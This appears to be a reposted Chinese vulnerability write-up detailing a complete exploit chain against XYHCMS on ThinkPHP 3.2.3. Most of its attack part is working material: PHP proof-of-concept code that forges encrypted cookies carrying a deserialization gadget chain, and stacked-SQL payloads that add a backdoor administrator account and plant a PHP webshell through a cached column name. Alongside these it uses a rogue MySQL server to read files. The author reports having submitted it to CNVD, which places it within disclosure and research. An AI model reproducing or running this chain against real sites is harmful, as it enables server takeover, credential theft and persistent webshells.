溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何理解xyhcms反序列化

發(fā)布時(shí)間:2021-10-18 15:54:11 來源:億速云 閱讀:187 作者:柒染 欄目:網(wǎng)絡(luò)管理

這篇文章將為大家詳細(xì)講解有關(guān)如何理解xyhcms反序列化,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對相關(guān)知識(shí)有一定的了解。

前言

2020年5月份的時(shí)候看到先知有一篇文章

https://xz.aliyun.com/t/7756

這個(gè)漏洞非常非常簡單,經(jīng)典插配置文件getshell,而且使用了<?=phpinfo();?>這種標(biāo)簽風(fēng)格以應(yīng)對代碼對<?php的過濾。xyhcms后續(xù)的修復(fù)方案當(dāng)然是把<?也拉黑,但這種修復(fù)方案是非常消極的,我們可以看一眼配置文件。

http://demo.xyhcms.com/App/Runtime/Data/config/site.php

如何理解xyhcms反序列化

可以發(fā)現(xiàn)這些配置選項(xiàng)都是以序列化形式存儲(chǔ)在配置文件當(dāng)中的,且為php后綴。

以安全的角度來想,既然這些配置信息不是寫在php代碼中以變量存儲(chǔ)(大多數(shù)cms比如discuz的做法),就不應(yīng)該以php后綴存儲(chǔ)。否則極易產(chǎn)生插配置文件getshell的漏洞。

即使認(rèn)真過濾了php標(biāo)簽,也可能產(chǎn)生xss和信息泄露的問題。

如果是以序列化形式存儲(chǔ),那么配置文件不管什么后綴,都不應(yīng)該被輕易訪問到,要么像thinkphp5一樣配置文件根本不在web目錄中,要么每次建站隨機(jī)配置文件名稱。

最后,這個(gè)序列化形式存儲(chǔ)在文件中也有待商榷,容易產(chǎn)生反序列化問題。

當(dāng)然,也可以學(xué)大多數(shù)cms的另外一個(gè)做法,配置信息存在數(shù)據(jù)庫中。

第一步,發(fā)現(xiàn)反序列化入口

由于注意到配置文件是以反序列化方式存儲(chǔ),所以我優(yōu)先搜了搜unserialize(

如何理解xyhcms反序列化

此cms使用的thinkphp3.2.3框架,所以下面的不用看了,只看

/App/Common/Common/function.php

發(fā)現(xiàn)get_cookie是使用的反序列化

//function get_cookie($name, $key = '@^%$y5fbl') {
function get_cookie($name, $key = '') {

	if (!isset($_COOKIE[$name])) {
		return null;
	}
	$key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;

	$value = $_COOKIE[$name];
	$key = md5($key);
	$sc = new \Common\Lib\SysCrypt($key);
	$value = $sc->php_decrypt($value);
	return unserialize($value);
}

$key默認(rèn)為空,有注釋可以固定為【@^%$y5fbl】,為空則使用CFG_COOKIE_ENCODE當(dāng)key,然后md5加密$key,傳入 SysCrypt類當(dāng)密鑰,加密代碼見/App/Common/Lib/SysCrypt.class.php。 $value是COOKIE中參數(shù)為$name對應(yīng)的值,用SysCrypt類的php_decrypt方法解密,解密之后是一個(gè)序列化字符串,可以被反序列化。

但這個(gè)反序列化的前提是知道key,如果被取消注釋了,那么key為【@^%$y5fbl】,如果默認(rèn)沒改,就是CFG_COOKIE_ENCODE。而CFG_COOKIE_ENCODE這個(gè)值創(chuàng)建網(wǎng)站時(shí)會(huì)被隨機(jī)分配一個(gè),且可以在后臺(tái)改。

如何理解xyhcms反序列化

且在/App/Runtime/Data/config/site.php中被泄露。

如何理解xyhcms反序列化

總結(jié)一下就是cookie傳值,site.php泄露key,這個(gè)值先被php_decrypt解密,再進(jìn)行反序列化,和shiro相似。

那么找到了反序列化入口,而且是極易利用的COOKIE里面。但管理員登錄后COOKIE中并沒有加密字符串,搜一下get_cookie(,發(fā)現(xiàn)是前臺(tái)注冊會(huì)員用的。

如何理解xyhcms反序列化

前臺(tái)隨便注冊一個(gè)會(huì)員,在COOKIE中發(fā)現(xiàn)加密字符串,里面任意一個(gè)都可以作為序列化入口。

如何理解xyhcms反序列化

比如nickname=XSIEblowDDRXIVJxBTcHPg5hAWsDbVVoACdcPg%3D%3D就是前臺(tái)賬戶sonomon的序列化并加密。這里用接口試一下就明白了。

PS:后面發(fā)現(xiàn)使用uid更加通用。

/xyhcms/index.php?s=/Public/loginChk.html

如何理解xyhcms反序列化

如何理解xyhcms反序列化

這里將get_cookie,set_cookie,SysCrypt相關(guān)的代碼抄一下并修改好,寫處php加解密工具。

<?php

class SysCrypt {

	private $crypt_key;
	public function __construct($crypt_key) {
	  $this -> crypt_key = $crypt_key;
	}
	public function php_encrypt($txt) {
	  srand((double)microtime() * 1000000);
	   $encrypt_key = md5(rand(0,32000));
	   $ctr = 0;
	   $tmp = '';
	  for($i = 0;$i<strlen($txt);$i++) {
	   $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
	  }
	  return base64_encode(self::__key($tmp,$this -> crypt_key));
	}
	
	public function php_decrypt($txt) {
	  $txt = self::__key(base64_decode($txt),$this -> crypt_key);
	   $tmp = '';
	  for($i = 0;$i < strlen($txt); $i++) {
	   $md5 = $txt[$i];
	    $tmp .= $txt[++$i] ^ $md5;
	  }
	  return $tmp;
	}
	
	private function __key($txt,$encrypt_key) {
	  $encrypt_key = md5($encrypt_key);
	   $ctr = 0;
	   $tmp = '';
	  for($i = 0; $i < strlen($txt); $i++) {
	   $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
	  }
	  return $tmp;
	}
	
	public function __destruct() {
	  $this -> crypt_key = null;
	}
}

function get_cookie($name, $key = '') {
	$key = 'YzYdQmSE2';
	$key = md5($key);
	$sc = new SysCrypt($key);
	$value = $sc->php_decrypt($name);
	return unserialize($value);
}

function set_cookie($args, $key = '') {
	$key = 'YzYdQmSE2';
	$value = serialize($args);
	$key = md5($key);
	$sc = new SysCrypt($key);
	$value = $sc->php_encrypt($value);
	return $value;
}

$a = set_cookie('luoke','');
echo $a.'<br>';
echo get_cookie($a,'');

得到加密序列化字符串

如何理解xyhcms反序列化

放到cookie里試一下

如何理解xyhcms反序列化

完美,接下來就是需要找到反序列化鏈,我們先隨便找個(gè)__destruct(修改源碼,加個(gè)var_dump(1),看能否觸發(fā)。

/Include/Library/Think/Image/Driver/Imagick.class.php

public function __destruct() {
        var_dump(1);
        empty($this->img) || $this->img->destroy();
    }

寫好POC

<?php
namespace Think\Image\Driver;
class Imagick{
}

namespace Common\Lib;
class SysCrypt {

	private $crypt_key;
	public function __construct($crypt_key) {
	 $this -> crypt_key = $crypt_key;
	}
	public function php_encrypt($txt) {
	 srand((double)microtime() * 1000000);
	   $encrypt_key = md5(rand(0,32000));
	   $ctr = 0;
	   $tmp = '';
	 for($i = 0;$i<strlen($txt);$i++) {
	  $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
	 }
	 return base64_encode(self::__key($tmp,$this -> crypt_key));
	}
	
	public function php_decrypt($txt) {
	 $txt = self::__key(base64_decode($txt),$this -> crypt_key);
	   $tmp = '';
	 for($i = 0;$i < strlen($txt); $i++) {
	  $md5 = $txt[$i];
	    $tmp .= $txt[++$i] ^ $md5;
	 }
	 return $tmp;
	}
	
	private function __key($txt,$encrypt_key) {
	 $encrypt_key = md5($encrypt_key);
	   $ctr = 0;
	   $tmp = '';
	 for($i = 0; $i < strlen($txt); $i++) {
	  $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
	 }
	 return $tmp;
	}
	
	public function __destruct() {
	 $this -> crypt_key = null;
	}
}

function get_cookie($name, $key = '') {
	$key = 'YzYdQmSE2';
	$key = md5($key);
	$sc = new \Common\Lib\SysCrypt($key);
	$value = $sc->php_decrypt($name);
	return unserialize($value);
}

function set_cookie($args, $key = '') {
	$key = 'YzYdQmSE2';
	$value = serialize($args);
	$key = md5($key);
	$sc = new \Common\Lib\SysCrypt($key);
	$value = $sc->php_encrypt($value);
	return $value;
}

$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);

如何理解xyhcms反序列化

如上圖,成功以反序列化方式觸發(fā)__destruct(),后續(xù)測試發(fā)現(xiàn)也不需要登錄。那么萬事具備,只差反序列化鏈,但是眾所周知thinkphp5.x都已被審計(jì)出反序列化鏈,thinkphp3.2.3卻并不存在反序列化鏈,9月份時(shí)我問某個(gè)群里,也都說的沒有。

第二步,尋找反序列化鏈

我自己的找鏈思路如下,全局找__destruct()就只有一個(gè)靠譜的。

/Include/Library/Think/Image/Driver/Imagick.class.php

public function __destruct() {
        empty($this->img) || $this->img->destroy();
    }

$this->img可控,也就是說可以觸發(fā)任意類的destroy方法,或者觸發(fā)__call方法。__call沒有任何靠譜的,反倒是destroy()兩個(gè)都比較靠譜。

/Include/Library/Think/Session/Driver/Db.class.php

/Include/Library/Think/Session/Driver/Memcache.class.php

Db.class看起來可以SQL注入,而Memcache.class看起來可以執(zhí)行任意類的delete方法。但兩者的destroy方法都有個(gè)問題,必須要傳入一個(gè)$sessID參數(shù),而Imagick.class的destroy并不能傳參。所以在這兒就斷掉了。

當(dāng)時(shí)我在php7環(huán)境中測試,這個(gè)東西卡死我了,后來有人找出了thinkphp3.2.3的反序列化鏈,我才明白原來換php5就行了。直罵自己菜,對php版本特性知道的太少了,否則我可能早就審計(jì)出thinkphp3.2.3的反序列化鏈了。

https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA

<?php
function a($test){
echo 'print '.$test;
phpinfo();
}
a();

這樣的代碼在php7中無法執(zhí)行,在php5中雖然會(huì)報(bào)錯(cuò),但依舊會(huì)執(zhí)行。

如何理解xyhcms反序列化

將環(huán)境切換到php5, Db.class由于沒有mysql_connect()建立連接,所以無法執(zhí)行SQL。

public function destroy($sessID) { 
       $hander = is_array($this->hander)?$this->hander[0]:$this->hander;
       mysql_query("DELETE FROM ".$this->sessionTable." WHERE session_id = '$sessID'",$hander); 
       if(mysql_affected_rows($hander)) 
           return true; 
       return false; 
   }

只能Memcache.class

public function destroy($sessID) {
		return $this->handle->delete($this->sessionName.$sessID);
	}

$this->handle和$this->sessionName均可控,此時(shí)等于可執(zhí)行任意類的delete方法。

此時(shí)找delete方法,發(fā)現(xiàn)都跟數(shù)據(jù)庫有關(guān),且必須傳輸數(shù)組,由于$this->sessionName.$sessID必定是個(gè)字符串,所以得找一個(gè)能轉(zhuǎn)數(shù)組的。

/Include/Library/Think/Model.class.php

public function delete($options = array()) {
		$pk = $this->getPk();
		if (empty($options) && empty($this->options['where'])) {
			if (!empty($this->data) && isset($this->data[$pk])) {
				return $this->delete($this->data[$pk]);
			} else {
				return false;
			}

getPk()代碼簡短,直接返回$this->pk。

public function getPk() {
		return $this->pk;
	}

那么$pk,$this->options,$this->data均可控,此時(shí)又調(diào)用了delete()自己一次,所以等于可以帶參數(shù)使用delete方法了。

后面一系列參數(shù)都不影響代碼執(zhí)行,最終來到

$result = $this->db->delete($options);

等于利用Model.class作為跳板,可以帶參數(shù)執(zhí)行任意類的delete方法。

/Include/Library/Think/Db/Driver.class.php

public function delete($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql    =   'DELETE FROM '.$table;
        if(strpos($table,',')){
            if(!empty($options['using'])){
                $sql .= ' USING '.$this->parseTable($options['using']).' ';
            }
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

此處在拼接$options數(shù)組中的SQL語句,最終放在$this->execute方法中執(zhí)行。

public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
        if ( !$this->_linkID ) return false;
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '_cf4 .$that->escapeString($val).'_cf5 ; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }

跟進(jìn)$this->initConnect()

protected function initConnect($master=true) {
        if(!empty($this->config['deploy']))
            $this->_linkID = $this->multiConnect($master);
        else
            if ( !$this->_linkID ) $this->_linkID = $this->connect();
    }

跟進(jìn)$this->connect()

public function connect($config='',$linkNum=0,$autoConnection=false) {
        if ( !isset($this->linkID[$linkNum]) ) {
            if(empty($config))  $config =   $this->config;
            try{
                if(empty($config['dsn'])) {
                    $config['dsn']  =   $this->parseDsn($config);
                }
                if(version_compare(PHP_VERSION,'5.3.6','<=')){ 
                    $this->options[PDO::ATTR_EMULATE_PREPARES]  =   false;
                }
                $this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
            }catch ($e) {
                if($autoConnection){
                    trace($e->getMessage(),'','ERR');
                    return $this->connect($autoConnection,$linkNum);
                }else{
                    E($e->getMessage());
                }
            }
        }
        return $this->linkID[$linkNum];
    }

可以發(fā)現(xiàn)最終是以PDO建立數(shù)據(jù)庫連接,$config 也就是$this->config可控,等于我們可以連接任意數(shù)據(jù)庫,然后執(zhí)行SQL語句。

可以參考https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA寫出POC。

<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options = array(
        PDO::MYSQL_ATTR_LOCAL_INFILE => true
    );
    protected $config = array(
    "dsn"    => "mysql:host=localhost;dbname=xyhcms;port=3306",
    "username" => "root",
    "password" => "root"
        );
}

namespace Think;
class Model{
    protected $options   = array();
    protected $pk;
    protected $data = array();
    protected $db = null;
    public function __construct(){
        $this->db = new \Think\Db\Driver\Mysql();
        $this->options['where'] = '';
        $this->pk = 'luoke';
        $this->data[$this->pk] = array(
        "table" => "xyh_admin_log",
        "where" => "id=0"
        );
    }
}

namespace Think\Session\Driver;
class Memcache{
    protected $handle;
	public function __construct() {
        $this->handle = new \Think\Model();
	}
}

namespace Think\Image\Driver;
class Imagick{
	private $img;
	public function __construct() {
        $this->img = new \Think\Session\Driver\Memcache();
	}
}

namespace Common\Lib;
class SysCrypt{

	private $crypt_key;
	public function __construct($crypt_key) {
	$this -> crypt_key = $crypt_key;
	}
	public function php_encrypt($txt) {
	srand((double)microtime() * 1000000);
	   $encrypt_key = md5(rand(0,32000));
	   $ctr = 0;
	   $tmp = '';
	for($i = 0;$i<strlen($txt);$i++) {
	 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
	}
	return base64_encode(self::__key($tmp,$this -> crypt_key));
	}
	
	public function php_decrypt($txt) {
	$txt = self::__key(base64_decode($txt),$this -> crypt_key);
	   $tmp = '';
	for($i = 0;$i < strlen($txt); $i++) {
	 $md5 = $txt[$i];
	    $tmp .= $txt[++$i] ^ $md5;
	}
	return $tmp;
	}
	
	private function __key($txt,$encrypt_key) {
	$encrypt_key = md5($encrypt_key);
	   $ctr = 0;
	   $tmp = '';
	for($i = 0; $i < strlen($txt); $i++) {
	 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
	}
	return $tmp;
	}
	
	public function __destruct() {
	$this -> crypt_key = null;
	}
}

function get_cookie($name, $key = '') {
	$key = '7q6Gw97sh';
	$key = md5($key);
	$sc = new \Common\Lib\SysCrypt($key);
	$value = $sc->php_decrypt($name);
	return unserialize($value);
}

function set_cookie($args, $key = '') {
	$key = '7q6Gw97sh';
	$value = serialize($args);
	$key = md5($key);
	$sc = new \Common\Lib\SysCrypt($key);
	$value = $sc->php_encrypt($value);
	return $value;
}

$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);

如何理解xyhcms反序列化

第三步,反序列化getshell

成功執(zhí)行SQL語句,但很顯然,這幾乎是無危害的,因?yàn)槟愕弥绖e人數(shù)據(jù)庫賬戶密碼,或者填自己服務(wù)器的賬戶密碼。文章中提到了利用惡意mysql服務(wù)器讀取文件。

https://github.com/Gifts/Rogue-MySql-Server

文件讀取需要絕對路徑,可以猜測,也可以訪問如下文件,php報(bào)錯(cuò)可能會(huì)爆出。

/App/Api/Conf/config.php

/App/Api/Controller/ApiCommonController.class.php

/App/Common/LibTag/Other.class.php

/App/Common/Model/ArcViewModel.class.php

得到絕對路徑后,修改python腳本增加filelist為D:\\xampp\\htdocs\\xyhcms\\App\\Common\\Conf\\db.php,修改POC數(shù)據(jù)庫連接地址,成功讀取配置文件。

如何理解xyhcms反序列化

讀取到了本地的數(shù)據(jù)庫之后,POC更換數(shù)據(jù)庫地址,PDO默認(rèn)支持堆疊,所以可以直接操作數(shù)據(jù)庫。這里簡單一點(diǎn)可以新增一個(gè)管理員上去。

"where" => "id=0;insert into xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);"

/xyhai.php?s=/Login/index

test/123456登錄

如果需要注數(shù)據(jù),可以嘗試把數(shù)據(jù)插在一些無關(guān)緊要的地方,比如留言板。

"where" => "id=0; update xyhcms.xyh_guestbook set content=user() where id=1;"

/index.php?s=/Guestbook/index.html

如何理解xyhcms反序列化

同理,權(quán)限足夠也可以直接利用outfile或者general_log來getshell。

如果權(quán)限不夠怎么辦呢?使用序列化數(shù)據(jù)存儲(chǔ)為php文件實(shí)在非常危險(xiǎn),翻翻緩存文件夾。發(fā)現(xiàn)數(shù)據(jù)庫列的信息也以序列化形式存儲(chǔ)在php文件當(dāng)中。

/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php

如何理解xyhcms反序列化

此時(shí)我們需要清理一下緩存

如何理解xyhcms反序列化

然后反序列化操縱mysql新增一個(gè)無關(guān)緊要的列名為<script language='php'>phpinfo();</script>

PS:這里不能用問號(hào),暫時(shí)不清楚原因。

"where" => "id=0; alter table xyh_guestbook add column `<script language='php'>phpinfo();</script>` varchar(10);"

最后再訪問一下前臺(tái)的留言板,或者后臺(tái)的留言本管理,生成緩存文件。

/index.php?s=/Guestbook/index.html

最終getshell

/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php

如何理解xyhcms反序列化

總結(jié)

1,要求php5.x版本

2,/App/Runtime/Data/config/site.php泄露CFG_COOKIE_ENCODE

3,制作POC,獲得反序列化payload

4,最好開放會(huì)員注冊,檢查/index.php?s=/Home/Public/login.html

然后向/index.php?s=/Public/loginChk.html,/index.php?s=/Home/Member/index.html等需要cookie的接口傳遞paylaod。Cookie鍵值為uid,nickname等。

5,訪問一些php文件,通過報(bào)錯(cuò)獲取絕對路徑。

6,通過惡意mysql服務(wù)器,讀取配置文件,獲取數(shù)據(jù)庫信息。

7,操作數(shù)據(jù)庫。

8,getshell

這是一個(gè)非常冗長而有意思的漏洞利用鏈。

已上交CNVD-2021-05552

關(guān)于如何理解xyhcms反序列化就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI